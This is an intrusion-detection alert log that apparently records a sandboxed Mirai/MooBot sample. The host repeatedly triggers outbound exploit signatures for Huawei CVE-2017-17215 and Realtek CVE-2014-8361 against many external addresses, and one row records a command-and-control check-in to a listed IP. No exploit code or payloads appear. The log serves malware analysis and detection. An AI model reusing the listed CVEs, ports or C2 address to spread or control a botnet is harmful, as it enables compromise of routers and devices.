2024-07-20T23:10:41.689073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54130	37215	192.168.2.15	197.62.82.205
2024-07-20T23:10:49.403948+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48432	37215	192.168.2.15	41.59.180.251
2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58026	37215	192.168.2.15	157.59.86.95
2024-07-20T23:10:42.286426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50906	37215	192.168.2.15	157.31.186.62
2024-07-20T23:10:39.505823+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36400	37215	192.168.2.15	197.37.162.85
2024-07-20T23:10:42.248141+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47218	37215	192.168.2.15	157.156.141.151
2024-07-20T23:10:39.513590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39504	37215	192.168.2.15	41.52.21.44
2024-07-20T23:10:39.504391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52988	37215	192.168.2.15	157.248.175.173
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53176	37215	192.168.2.15	197.176.162.29
2024-07-20T23:10:44.392579+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39070	52869	192.168.2.15	60.216.97.213
2024-07-20T23:10:42.276191+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55546	37215	192.168.2.15	41.57.221.248
2024-07-20T23:10:44.542647+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58220	52869	192.168.2.15	8.190.85.240
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51626	37215	192.168.2.15	31.175.193.56
2024-07-20T23:10:40.936245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33364	37215	192.168.2.15	157.231.228.120
2024-07-20T23:10:39.492375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55066	37215	192.168.2.15	34.108.209.169
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47674	37215	192.168.2.15	13.252.226.77
2024-07-20T23:10:40.373501+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54092	52869	192.168.2.15	13.3.106.56
2024-07-20T23:10:40.946479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37442	37215	192.168.2.15	41.103.136.234
2024-07-20T23:10:52.111250+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43186	52869	192.168.2.15	60.47.44.203
2024-07-20T23:10:39.463407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35152	37215	192.168.2.15	41.244.25.122
2024-07-20T23:10:41.697438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48956	37215	192.168.2.15	41.180.105.213
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56432	37215	192.168.2.15	157.203.245.203
2024-07-20T23:10:52.594534+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60842	37215	192.168.2.15	41.14.238.220
2024-07-20T23:10:41.671524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50676	37215	192.168.2.15	157.108.205.183
2024-07-20T23:10:42.652613+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43174	52869	192.168.2.15	222.31.20.54
2024-07-20T23:10:41.697438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59968	37215	192.168.2.15	41.110.199.66
2024-07-20T23:10:41.671560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36952	37215	192.168.2.15	41.54.12.174
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51722	37215	192.168.2.15	157.66.206.67
2024-07-20T23:10:39.508504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48038	37215	192.168.2.15	216.15.194.11
2024-07-20T23:10:41.671583+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42428	37215	192.168.2.15	197.5.58.230
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53362	37215	192.168.2.15	9.118.192.30
2024-07-20T23:10:40.934362+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55746	37215	192.168.2.15	41.46.35.223
2024-07-20T23:10:41.697439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40196	37215	192.168.2.15	41.36.132.118
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39728	37215	192.168.2.15	197.202.153.125
2024-07-20T23:10:42.282535+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41312	37215	192.168.2.15	63.125.89.15
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40972	37215	192.168.2.15	49.55.180.63
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45306	37215	192.168.2.15	197.89.116.170
2024-07-20T23:10:40.946479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48734	37215	192.168.2.15	157.230.78.164
2024-07-20T23:10:41.677529+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58572	37215	192.168.2.15	100.131.155.71
2024-07-20T23:10:40.936245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49096	37215	192.168.2.15	197.136.106.52
2024-07-20T23:10:40.936246+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44222	37215	192.168.2.15	197.187.16.96
2024-07-20T23:10:39.440597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58030	37215	192.168.2.15	197.57.193.59
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50200	37215	192.168.2.15	41.162.208.185
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33292	37215	192.168.2.15	197.167.3.144
2024-07-20T23:10:48.030125+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60836	52869	192.168.2.15	154.174.121.129
2024-07-20T23:10:39.492274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48620	37215	192.168.2.15	41.63.90.165
2024-07-20T23:10:41.671757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57188	37215	192.168.2.15	197.154.192.149
2024-07-20T23:10:42.276123+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36198	37215	192.168.2.15	41.185.22.151
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58132	37215	192.168.2.15	157.190.1.139
2024-07-20T23:10:42.280429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43890	37215	192.168.2.15	211.127.214.18
2024-07-20T23:10:40.676560+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46618	52869	192.168.2.15	1.160.86.11
2024-07-20T23:10:42.280294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51356	37215	192.168.2.15	197.194.124.27
2024-07-20T23:10:40.656297+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44114	52869	192.168.2.15	125.46.245.158
2024-07-20T23:10:42.280294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54950	37215	192.168.2.15	31.117.210.59
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39516	37215	192.168.2.15	197.104.208.132
2024-07-20T23:10:40.936246+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59192	37215	192.168.2.15	41.198.155.196
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52666	37215	192.168.2.15	157.33.235.116
2024-07-20T23:10:42.282535+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33120	37215	192.168.2.15	41.65.62.180
2024-07-20T23:10:40.933975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47566	37215	192.168.2.15	197.32.38.129
2024-07-20T23:10:43.355528+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37488	52869	192.168.2.15	89.186.152.105
2024-07-20T23:10:42.282535+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43966	37215	192.168.2.15	197.181.234.52
2024-07-20T23:10:46.770658+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42560	37215	192.168.2.15	197.36.72.248
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43904	37215	192.168.2.15	157.121.204.204
2024-07-20T23:10:44.627013+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48182	52869	192.168.2.15	154.24.39.249
2024-07-20T23:10:40.608601+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.15	193.168.188.87
2024-07-20T23:10:42.708635+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56304	52869	192.168.2.15	185.59.206.11
2024-07-20T23:10:41.231521+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34304	37215	192.168.2.15	208.220.26.36
2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39138	37215	192.168.2.15	197.162.237.45
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39922	37215	192.168.2.15	197.117.3.182
2024-07-20T23:10:40.934249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55858	37215	192.168.2.15	41.91.198.123
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35026	37215	192.168.2.15	197.154.203.233
2024-07-20T23:10:39.437234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60270	37215	192.168.2.15	41.114.206.140
2024-07-20T23:10:39.495983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37790	37215	192.168.2.15	157.35.130.251
2024-07-20T23:10:40.936245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60454	37215	192.168.2.15	157.76.73.5
2024-07-20T23:10:46.597085+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	55384	2466	192.168.2.15	15.235.203.214
2024-07-20T23:10:39.497211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48814	37215	192.168.2.15	157.176.38.133
2024-07-20T23:10:40.944484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53814	37215	192.168.2.15	197.40.81.92
2024-07-20T23:10:42.277609+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36970	37215	192.168.2.15	41.112.219.106
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36898	37215	192.168.2.15	157.230.83.224
2024-07-20T23:10:56.097499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37974	37215	192.168.2.15	157.29.39.190
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49010	37215	192.168.2.15	157.5.164.72
2024-07-20T23:10:41.697439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49106	37215	192.168.2.15	197.101.3.125
2024-07-20T23:10:39.518032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37364	37215	192.168.2.15	197.14.81.255
2024-07-20T23:10:41.671541+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40522	37215	192.168.2.15	41.123.192.243
2024-07-20T23:10:39.440597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52554	37215	192.168.2.15	197.20.220.200
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58524	37215	192.168.2.15	157.61.187.214
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57010	37215	192.168.2.15	197.4.12.194
2024-07-20T23:10:39.499338+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42418	37215	192.168.2.15	216.125.26.34
2024-07-20T23:10:42.248141+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34538	37215	192.168.2.15	41.133.193.71
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40404	37215	192.168.2.15	197.55.86.176
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49330	37215	192.168.2.15	164.17.49.215
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57396	37215	192.168.2.15	157.39.249.198
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34274	37215	192.168.2.15	157.70.57.191
2024-07-20T23:10:40.356943+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60906	52869	192.168.2.15	162.144.96.77
2024-07-20T23:10:41.673540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38164	37215	192.168.2.15	197.210.203.242
2024-07-20T23:10:49.377082+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36534	37215	192.168.2.15	62.157.229.217
2024-07-20T23:10:52.027465+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59888	52869	192.168.2.15	83.178.139.14
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40956	37215	192.168.2.15	197.18.206.159
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58290	37215	192.168.2.15	4.49.242.168
2024-07-20T23:10:40.934249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37342	37215	192.168.2.15	157.86.230.135
2024-07-20T23:10:41.672504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38528	37215	192.168.2.15	80.32.231.92
2024-07-20T23:10:41.234520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41220	37215	192.168.2.15	157.62.253.162
2024-07-20T23:10:40.933931+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45588	37215	192.168.2.15	41.182.40.219
2024-07-20T23:10:41.248342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57506	37215	192.168.2.15	131.14.103.148
2024-07-20T23:10:40.948142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48632	37215	192.168.2.15	158.185.201.45
2024-07-20T23:10:41.232616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36266	37215	192.168.2.15	41.122.22.46
2024-07-20T23:10:45.501150+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46208	52869	192.168.2.15	40.70.214.228
2024-07-20T23:10:39.492375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41832	37215	192.168.2.15	41.130.29.61
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55578	37215	192.168.2.15	14.66.203.138
2024-07-20T23:10:40.934249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39050	37215	192.168.2.15	53.208.221.28
2024-07-20T23:10:39.488655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42676	37215	192.168.2.15	157.135.74.226
2024-07-20T23:10:39.449685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34812	37215	192.168.2.15	197.167.93.130
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37846	37215	192.168.2.15	157.82.186.155
2024-07-20T23:10:44.161640+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55656	52869	192.168.2.15	172.248.193.236
2024-07-20T23:10:39.492274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54592	37215	192.168.2.15	197.79.113.139
2024-07-20T23:10:52.564314+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41618	37215	192.168.2.15	157.28.72.248
2024-07-20T23:10:39.492274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41170	37215	192.168.2.15	57.196.110.109
2024-07-20T23:10:41.244364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39318	37215	192.168.2.15	41.114.104.228
2024-07-20T23:10:39.515430+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52820	37215	192.168.2.15	197.1.29.38
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60900	37215	192.168.2.15	41.249.230.34
2024-07-20T23:10:48.679763+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60570	52869	192.168.2.15	222.95.36.229
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45842	37215	192.168.2.15	41.30.145.239
2024-07-20T23:10:40.944199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48172	37215	192.168.2.15	41.158.40.220
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39428	37215	192.168.2.15	169.37.171.79
2024-07-20T23:10:41.682592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51034	37215	192.168.2.15	83.200.83.92
2024-07-20T23:10:40.934075+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43508	37215	192.168.2.15	41.29.68.15
2024-07-20T23:10:41.693872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45544	37215	192.168.2.15	157.167.109.170
2024-07-20T23:10:40.934249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47994	37215	192.168.2.15	41.210.197.36
2024-07-20T23:10:41.671671+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39992	37215	192.168.2.15	41.202.161.142
2024-07-20T23:10:42.933932+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60052	52869	192.168.2.15	221.199.80.98
2024-07-20T23:10:52.038774+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45058	52869	192.168.2.15	36.65.48.163
2024-07-20T23:10:39.463408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56992	37215	192.168.2.15	41.242.148.168
2024-07-20T23:10:40.946478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42998	37215	192.168.2.15	41.225.135.170
2024-07-20T23:10:41.677529+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47042	37215	192.168.2.15	67.216.209.193
2024-07-20T23:10:42.261146+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43018	37215	192.168.2.15	18.57.98.31
2024-07-20T23:10:42.273611+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57978	37215	192.168.2.15	157.24.244.61
2024-07-20T23:10:39.508504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37320	37215	192.168.2.15	157.245.216.156
2024-07-20T23:10:40.940896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32902	37215	192.168.2.15	41.151.166.61
2024-07-20T23:10:40.944484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47976	37215	192.168.2.15	148.185.232.135
2024-07-20T23:10:46.867285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45258	37215	192.168.2.15	23.152.243.164
2024-07-20T23:10:52.100382+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49152	52869	192.168.2.15	146.67.192.198
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34744	37215	192.168.2.15	41.160.166.27
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54920	37215	192.168.2.15	14.49.13.245
2024-07-20T23:10:40.933928+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59710	37215	192.168.2.15	157.36.31.158
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48400	37215	192.168.2.15	41.211.198.240
2024-07-20T23:10:41.248454+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44340	37215	192.168.2.15	197.197.252.182
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41686	37215	192.168.2.15	197.242.40.170
2024-07-20T23:10:42.269853+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42288	37215	192.168.2.15	197.129.120.216
2024-07-20T23:10:39.508504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32936	37215	192.168.2.15	197.52.85.28
2024-07-20T23:10:39.513590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33952	37215	192.168.2.15	184.222.40.221
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47276	37215	192.168.2.15	197.233.147.184
2024-07-20T23:10:39.497131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45784	37215	192.168.2.15	157.238.194.50
2024-07-20T23:10:46.870012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38208	37215	192.168.2.15	73.153.13.203
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36850	37215	192.168.2.15	197.210.234.155
2024-07-20T23:10:52.601580+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59718	37215	192.168.2.15	197.171.76.37
2024-07-20T23:10:41.697439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60980	37215	192.168.2.15	8.33.228.87
2024-07-20T23:10:41.241817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43324	37215	192.168.2.15	41.28.65.67
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40632	37215	192.168.2.15	157.219.83.230
2024-07-20T23:10:40.948142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43890	37215	192.168.2.15	157.182.237.139
2024-07-20T23:10:39.518032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38188	37215	192.168.2.15	197.199.57.112
2024-07-20T23:10:47.701889+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45624	52869	192.168.2.15	211.213.18.108
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37594	37215	192.168.2.15	197.30.201.248
2024-07-20T23:10:40.933992+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56962	37215	192.168.2.15	157.50.118.84
2024-07-20T23:10:39.479428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41390	37215	192.168.2.15	41.127.217.236
